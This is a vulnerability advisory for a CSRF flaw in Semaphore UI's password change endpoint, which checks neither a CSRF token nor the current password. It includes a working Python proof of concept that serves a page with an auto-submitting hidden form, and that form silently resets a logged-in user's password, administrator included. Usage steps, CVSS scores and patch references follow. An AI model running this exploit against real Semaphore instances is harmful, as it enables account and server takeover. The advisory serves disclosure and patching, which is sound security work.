Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
漏洞描述
### Summary The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20. ### Details The password change endpoint of Semaphore UI does not implement any CSRF protection: - No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. ### PoC To reproduce the exploit, you can use the following python script: ```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s') def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body> <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST"> <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script> </body> </html> """; parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args() class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.client_address[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(content))) self.end_headers() self.wfile.write(content) httpd = HTTPServer(("", args.port), Handler) logging.info("[*] Serving at port "+str(args.port)) httpd.serve_forever() ``` Example : ```bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337 ``` 1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`. ### Impact This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance. Source Code Location: https://github.com/semaphoreui/semaphore Affected Packages: - go:github.com/semaphoreui/semaphore, affected < 0.0.0-20260707190631-c59c3dc9035b, patched in 0.0.0-20260707190631-c59c3dc9035b CWEs: - CWE-352: Cross-Site Request Forgery (CSRF) - CWE-620: Unverified Password Change CVSS: - Primary: score 7.6, CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L - CVSS_V3: score 7.6, CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L References: - https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945 - https://nvd.nist.gov/vuln/detail/CVE-2026-73292 - https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c - https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956 - https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21 - https://github.com/advisories/GHSA-8cj9-r88m-8945